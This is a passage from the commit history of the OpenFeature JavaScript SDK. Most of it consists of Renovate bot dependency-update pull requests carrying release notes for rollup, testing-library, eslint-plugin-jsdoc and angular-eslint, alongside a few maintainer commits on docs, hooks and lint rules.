Add locations to logs, warnings and error messages (
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.12.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4121)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.12.0...v4.12.1)

*2024-03-06*

##### Bug Fixes

- Escape special characters in file references
([#&#8203;5404](https://redirect.github.com/rollup/rollup/issues/5404))

##### Pull Requests

- [#&#8203;5398](https://redirect.github.com/rollup/rollup/pull/5398):
Rename `getRollupEror` to `getRollupError`
([@&#8203;MrRefactoring](https://redirect.github.com/MrRefactoring))
- [#&#8203;5399](https://redirect.github.com/rollup/rollup/pull/5399):
chore(deps): lock file maintenance minor/patch updates (
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5404](https://redirect.github.com/rollup/rollup/pull/5404):
fix: escape ids in `import.meta.ROLLUP_FILE_URL_referenceId` correctly
([@&#8203;sapphi-red](https://redirect.github.com/sapphi-red))
- [#&#8203;5406](https://redirect.github.com/rollup/rollup/pull/5406):
chore(deps): lock file maintenance minor/patch updates (
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5407](https://redirect.github.com/rollup/rollup/pull/5407):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5411](https://redirect.github.com/rollup/rollup/pull/5411):
Chunk assignment - Fix comment line breaks and typo
([@&#8203;yoavweiss](https://redirect.github.com/yoavweiss),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.12.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4120)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.11.0...v4.12.0)

*2024-02-16*

##### Features

- Improve raw bundling performance by 10-15% when not using the cache or
plugins that return an AST
([#&#8203;5391](https://redirect.github.com/rollup/rollup/issues/5391))

##### Pull Requests

- [#&#8203;5391](https://redirect.github.com/rollup/rollup/pull/5391):
Improve performance by directly constructing AST from buffer
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5393](https://redirect.github.com/rollup/rollup/pull/5393):
chore(deps): update dependency eslint-plugin-unicorn to v51
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5394](https://redirect.github.com/rollup/rollup/pull/5394):
chore(deps): update typescript-eslint monorepo to v7 (major)
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5395](https://redirect.github.com/rollup/rollup/pull/5395):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.11.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4110)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.10.0...v4.11.0)

*2024-02-15*

##### Features

- Add `output.reexportProtoFromExternal` option to disable special code
for handling `__proto__` reexports
([#&#8203;5380](https://redirect.github.com/rollup/rollup/issues/5380))

##### Bug Fixes

- Ensure namespace reexport code can be parsed by cjs-module-lexer
([#&#8203;5380](https://redirect.github.com/rollup/rollup/issues/5380))
- Throw when trying to reassing `const` variables
([#&#8203;5388](https://redirect.github.com/rollup/rollup/issues/5388))

##### Pull Requests

- [#&#8203;5380](https://redirect.github.com/rollup/rollup/pull/5380):
fix: separately export `__proto__` for compatibility with CJS Transpiler
Re-exports ([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5388](https://redirect.github.com/rollup/rollup/pull/5388):
Add const reassign rule
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))

###
[`v4.10.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4100)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.9.6...v4.10.0)

*2024-02-10*

##### Features

- Support base-36 and base-16 hashes again via new
`output.hashCharacters` option
([#&#8203;5371](https://redirect.github.com/rollup/rollup/issues/5371))

##### Bug Fixes

- Do not crash process for panics in native code but throw them as
JavaScript errors
([#&#8203;5383](https://redirect.github.com/rollup/rollup/issues/5383))

##### Pull Requests

- [#&#8203;5359](https://redirect.github.com/rollup/rollup/pull/5359):
chore(deps): update actions/cache action to v4
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5360](https://redirect.github.com/rollup/rollup/pull/5360):
chore(deps): update dependency pretty-ms to v9
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5366](https://redirect.github.com/rollup/rollup/pull/5366):
chore(deps): update dependency husky to v9
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5367](https://redirect.github.com/rollup/rollup/pull/5367):
chore(deps): update peter-evans/create-or-update-comment action to v4
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5368](https://redirect.github.com/rollup/rollup/pull/5368):
chore(deps): update peter-evans/find-comment action to v3
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5369](https://redirect.github.com/rollup/rollup/pull/5369):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5370](https://redirect.github.com/rollup/rollup/pull/5370):
Fix dependency range for Node types
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5371](https://redirect.github.com/rollup/rollup/pull/5371):
Implement "output.hashCharacters" option to define character set for
file hashes
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5372](https://redirect.github.com/rollup/rollup/pull/5372):
Roll back vitepress as 1.0.0-rc.40 breaks the development build
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5382](https://redirect.github.com/rollup/rollup/pull/5382):
Update documentation
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5383](https://redirect.github.com/rollup/rollup/pull/5383):
Catch Rust panics and then throw them in JS
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5384](https://redirect.github.com/rollup/rollup/pull/5384):
chore(deps): update codecov/codecov-action action to v4
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5385](https://redirect.github.com/rollup/rollup/pull/5385):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5386](https://redirect.github.com/rollup/rollup/pull/5386):
Resolve all rollup imports to node_modules to avoid type conflict
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))

###
[`v4.9.6`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#496)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.9.5...v4.9.6)

*2024-01-21*

##### Bug Fixes

- Detect side effects when an element that was pushed into an array is
modified via the array
([#&#8203;5352](https://redirect.github.com/rollup/rollup/issues/5352))

##### Pull Requests

- [#&#8203;5337](https://redirect.github.com/rollup/rollup/pull/5337):
Generate AST transformers from config
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5340](https://redirect.github.com/rollup/rollup/pull/5340):
Also type-check d.ts files
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5348](https://redirect.github.com/rollup/rollup/pull/5348):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5351](https://redirect.github.com/rollup/rollup/pull/5351):
chore(deps): update dependency vite to v5.0.12 \[security]
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5352](https://redirect.github.com/rollup/rollup/pull/5352):
Track mutations of elements pushed into arrays
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.9.5`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#495)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.9.4...v4.9.5)

*2024-01-12*

##### Bug Fixes

- Fix issue where on Windows, Rollup would not load due to problems with
the MSVC executable
([#&#8203;5335](https://redirect.github.com/rollup/rollup/issues/5335))

##### Pull Requests

- [#&#8203;5334](https://redirect.github.com/rollup/rollup/pull/5334):
Fix typo in commondir.ts
([@&#8203;akiomik](https://redirect.github.com/akiomik))
- [#&#8203;5335](https://redirect.github.com/rollup/rollup/pull/5335):
build: static link msvc runtime on Windows x64 platform
([@&#8203;Brooooooklyn](https://redirect.github.com/Brooooooklyn))
- [#&#8203;5338](https://redirect.github.com/rollup/rollup/pull/5338):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.9.4`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#494)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.9.3...v4.9.4)

*2024-01-06*

##### Bug Fixes

- Use quotes for keys in namespaces that are only numbers but are not
valid integers
([#&#8203;5328](https://redirect.github.com/rollup/rollup/issues/5328))
- Allow to have comments between pure annotations and the annoted node
([#&#8203;5332](https://redirect.github.com/rollup/rollup/issues/5332))

##### Pull Requests

- [#&#8203;5328](https://redirect.github.com/rollup/rollup/pull/5328):
Correctly handling number key
([@&#8203;LongTengDao](https://redirect.github.com/LongTengDao))
- [#&#8203;5332](https://redirect.github.com/rollup/rollup/pull/5332):
Handle pure annotations that are separated by a comment
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.9.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#493)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.9.2...v4.9.3)

*2024-01-05*

##### Bug Fixes

- Support `__proto__` as export/import name
([#&#8203;5313](https://redirect.github.com/rollup/rollup/issues/5313))
- Use ESTree AST type over custom type in user-facing types
([#&#8203;5323](https://redirect.github.com/rollup/rollup/issues/5323))

##### Pull Requests

- [#&#8203;5313](https://redirect.github.com/rollup/rollup/pull/5313):
Correctly handling **proto** export as module object key
([@&#8203;LongTengDao](https://redirect.github.com/LongTengDao))
- [#&#8203;5323](https://redirect.github.com/rollup/rollup/pull/5323):
fix: Add estree.Program type to rollup.d.ts
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5326](https://redirect.github.com/rollup/rollup/pull/5326):
docs: fix grammar
([@&#8203;gigabites19](https://redirect.github.com/gigabites19))
- [#&#8203;5329](https://redirect.github.com/rollup/rollup/pull/5329):
chore(deps): update dependency
[@&#8203;vue/eslint-config-prettier](https://redirect.github.com/vue/eslint-config-prettier)
to v9 (

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC44MC4wIiwidXBkYXRlZEluVmVyIjoiMzguOTcuMCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-10-21 13:21:52 -04:00
Todd Baert def3fe8daf
chore: add js docs for context mutator hook (#1045)
Minor refactors, but mostly adding js-doc after
https://github.com/open-feature/js-sdk/pull/1031.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-10-17 15:09:25 -04:00
Will C. ec3d967f8b
feat: use mutate context hook (#1031)
context mutation hook

---------

Signed-off-by: Will C. <iam@willchou.dev>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-10-17 12:15:26 -04:00
renovate[bot] 4b03c2f1e6
chore(deps): update dependency @testing-library/react to v16 (#993)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@testing-library/react](https://redirect.github.com/testing-library/react-testing-library)
| [`^15.0.0` ->
`^16.0.0`](https://renovatebot.com/diffs/npm/@testing-library%2freact/15.0.7/16.0.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@testing-library%2freact/16.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@testing-library%2freact/16.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@testing-library%2freact/15.0.7/16.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@testing-library%2freact/15.0.7/16.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>testing-library/react-testing-library
(@&#8203;testing-library/react)</summary>

###
[`v16.0.1`](https://redirect.github.com/testing-library/react-testing-library/compare/v16.0.0...3dcd8a9649e25054c0e650d95fca2317b7008576)

[Compare
Source](https://redirect.github.com/testing-library/react-testing-library/compare/v16.0.0...v16.0.1)

###
[`v16.0.0`](https://redirect.github.com/testing-library/react-testing-library/releases/tag/v16.0.0)

[Compare
Source](https://redirect.github.com/testing-library/react-testing-library/compare/v15.0.7...v16.0.0)

##### Features

- Move `@testing-library/dom` and `@types/react-dom` to peer
dependencies
([#&#8203;1305](https://redirect.github.com/testing-library/react-testing-library/issues/1305))
([a4744fa](a4744fa904))

##### BREAKING CHANGES

- `@testing-library/dom` was moved to a peer dependency and needs to be
explicitly installed. This reduces the chance of having conflicting
versions of `@testing-library/dom` installed that frequently caused bugs
when used with `@testing-library/user-event`. We will also be able to
allow new versions of `@testing-library/dom` being used without a SemVer
major release of `@testing-library/react` by just widening the peer
dependency.
`@types/react-dom` needs to be installed if you're typechecking files
using `@testing-library/react`.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4yNi4xIiwidXBkYXRlZEluVmVyIjoiMzguNTkuMiIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-10-17 16:03:13 +00:00
renovate[bot] 1a73961e9b
chore(deps): update dependency eslint-plugin-jsdoc to v50 (#994)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-jsdoc](https://redirect.github.com/gajus/eslint-plugin-jsdoc)
| [`^48.0.6` ->
`^50.0.0`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/48.11.0/50.4.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/50.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jsdoc/50.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jsdoc/48.11.0/50.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/48.11.0/50.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v50.4.0`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.3.2...7019d287aa84e6919f16ca79bee5b415a4308548)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.3.2...v50.4.0)

###
[`v50.3.2`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.3.2)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.3.1...v50.3.2)

##### Bug Fixes

- **`require-hyphen-before-param-description`:** inject hyphen at proper
place with multiline type
([8b5b7f7](8b5b7f709c))

###
[`v50.3.1`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.3.1)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.3.0...v50.3.1)

##### Bug Fixes

- **`check-alignment`:** handle zero indent; fixes
[#&#8203;1322](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1322)
([34866bc](34866bc988))

###
[`v50.3.0`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.3.0)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.2.5...v50.3.0)

##### Features

- **`require-param`:** add `ignoreWhenAllParamsMissing` option; fixes
[#&#8203;1317](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1317)
([3b18435](3b18435820))

###
[`v50.2.5`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.2.5)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.2.4...v50.2.5)

##### Bug Fixes

- **`require-jsdoc`:** allow `TSTypeAliasDeclaration` to be detected for
export; fixes
[#&#8203;1319](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1319)
([909de73](909de737f1))
- force release
([6970456](69704565d8))
- force release
([20e0805](20e0805d8b))
- update semantic-release
([baaf8c3](baaf8c399d))
- update semantic-release/github
([8e565e0](8e565e0840))

###
[`v50.2.4`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.2.4)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.2.3...v50.2.4)

##### Bug Fixes

- **`require-returns-check`:** allow infinite for loops to have only one
branch to return; fixes
[#&#8203;1315](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1315)
([e7ab475](e7ab475c26))

###
[`v50.2.3`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.2.3)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.2.2...v50.2.3)

##### Bug Fixes

- **`require-jsdoc`:** avoid erring on static blocks
([8222262](82222628c1))

###
[`v50.2.2`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.2.2)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.2.1...v50.2.2)

##### Bug Fixes

- **`check-param-names`:** check against whitelist of acceptable
function nodes so that non-function global contexts do not err; fixes
[#&#8203;1303](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1303)
([288f0ae](288f0ae5d4))

###
[`v50.2.1`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.2.0...964712b9f9a6fc0c0ef7bff5e275e1782e77a6bd)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.2.0...v50.2.1)

###
[`v50.2.0`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.1.0...aed319438250b516756922aa6d5562e819af2977)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.1.0...v50.2.0)

###
[`v50.1.0`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.0.1...75528b7d174db102de855a904492cb0e2062e17b)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.0.1...v50.1.0)

###
[`v50.0.1`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.0.0...df551374044d38b10fcc52ec9895481239d9711a)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.0.0...v50.0.1)

###
[`v50.0.0`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v49.0.0...1cae2cb42938ce291c46e9526a27b4980e9e83dd)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v49.0.0...v50.0.0)

###
[`v49.0.0`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v48.11.0...0265923c8748b55cd2d7ed3e1f9f73cc024e2005)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v48.11.0...v49.0.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4yNi4xIiwidXBkYXRlZEluVmVyIjoiMzguMTIwLjEiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-10-17 12:01:51 -04:00
Todd Baert 01fcb933d2
chore: import type lint rule and fixes (#1039)
Inspired by [this
comment](https://github.com/open-feature/js-sdk/pull/1020#discussion_r1777829664)
I've added a lint rule to enforce `import type`, and some additional
package changes to add a `lint:fix`.

The only changes I made manually here is to add the lint rule, and the
package.json script. All the changes are auto-generated by the
`lint:fix`.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-10-16 14:33:47 -04:00
Michael Beemer 924802b21d
docs: update domain context terminology (#1037)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-10-15 15:30:10 -04:00
Todd Baert c4ccf5f095
chore: centralize jest config for angular, module mapping (#1030)
see title.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-10-01 16:30:47 -04:00
Michael Beemer b8f9b4ebaf
feat: avoid re-resolving flags unaffected by a change event (#1024)
## This PR

- avoid re-resolving flags unaffected by a change event

### Notes

If the provider sends the change event payload, the React SDK uses the
list of change flags. If the list is missing or empty, all events are
triggered. This is a way to avoid sending unnecessary evaluation
telemetry data.

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-10-01 14:15:18 -04:00
OpenFeature Bot c1374bb7b3
chore(main): release angular-sdk 0.0.4-experimental (#1027)
🤖 I have created a release *beep* *boop*
---


##
[0.0.4-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.3-experimental...angular-sdk-v0.0.4-experimental)
(2024-09-30)


### 🐛 Bug Fixes

* **angular:** add package description
([#1026](https://github.com/open-feature/js-sdk/issues/1026))
([dc63ca8](dc63ca8b9d))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-09-30 23:40:43 +02:00
Lukas Reining dc63ca8b9d
fix(angular): add package description (#1026)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

- adds package.json description

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2024-09-30 23:38:42 +02:00
renovate[bot] 0e6d611ee5
chore(deps): update angular-eslint monorepo to v17.5.3 (#1002)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@angular-eslint/builder](https://redirect.github.com/angular-eslint/angular-eslint)
([source](https://redirect.github.com/angular-eslint/angular-eslint/tree/HEAD/packages/builder))
| [`17.5.2` ->
`17.5.3`](https://renovatebot.com/diffs/npm/@angular-eslint%2fbuilder/17.5.2/17.5.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@angular-eslint%2fbuilder/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@angular-eslint%2fbuilder/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@angular-eslint%2fbuilder/17.5.2/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@angular-eslint%2fbuilder/17.5.2/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@angular-eslint/eslint-plugin](https://redirect.github.com/angular-eslint/angular-eslint)
([source](https://redirect.github.com/angular-eslint/angular-eslint/tree/HEAD/packages/eslint-plugin))
| [`17.5.2` ->
`17.5.3`](https://renovatebot.com/diffs/npm/@angular-eslint%2feslint-plugin/17.5.2/17.5.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@angular-eslint%2feslint-plugin/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@angular-eslint%2feslint-plugin/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@angular-eslint%2feslint-plugin/17.5.2/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@angular-eslint%2feslint-plugin/17.5.2/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@angular-eslint/eslint-plugin-template](https://redirect.github.com/angular-eslint/angular-eslint)
([source](https://redirect.github.com/angular-eslint/angular-eslint/tree/HEAD/packages/eslint-plugin-template))
| [`17.5.2` ->
`17.5.3`](https://renovatebot.com/diffs/npm/@angular-eslint%2feslint-plugin-template/17.5.2/17.5.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@angular-eslint%2feslint-plugin-template/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@angular-eslint%2feslint-plugin-template/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@angular-eslint%2feslint-plugin-template/17.5.2/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@angular-eslint%2feslint-plugin-template/17.5.2/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@angular-eslint/schematics](https://redirect.github.com/angular-eslint/angular-eslint)
([source](https://redirect.github.com/angular-eslint/angular-eslint/tree/HEAD/packages/schematics))
| [`17.5.2` ->
`17.5.3`](https://renovatebot.com/diffs/npm/@angular-eslint%2fschematics/17.5.2/17.5.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@angular-eslint%2fschematics/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@angular-eslint%2fschematics/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@angular-eslint%2fschematics/17.5.2/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@angular-eslint%2fschematics/17.5.2/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@angular-eslint/template-parser](https://redirect.github.com/angular-eslint/angular-eslint)
([source](https://redirect.github.com/angular-eslint/angular-eslint/tree/HEAD/packages/template-parser))
| [`17.5.2` ->
`17.5.3`](https://renovatebot.com/diffs/npm/@angular-eslint%2ftemplate-parser/17.5.2/17.5.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@angular-eslint%2ftemplate-parser/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@angular-eslint%2ftemplate-parser/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@angular-eslint%2ftemplate-parser/17.5.2/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@angular-eslint%2ftemplate-parser/17.5.2/17.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>angular-eslint/angular-eslint
(@&#8203;angular-eslint/builder)</summary>

###
[`v17.5.3`](https://redirect.github.com/angular-eslint/angular-eslint/compare/v17.5.2...e2006e5e9c99e5a943d1a999e0efa5247d29ec24)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v17.5.2...e2006e5e9c99e5a943d1a999e0efa5247d29ec24)

</details>

<details>
<summary>angular-eslint/angular-eslint
(@&#8203;angular-eslint/eslint-plugin)</summary>

###
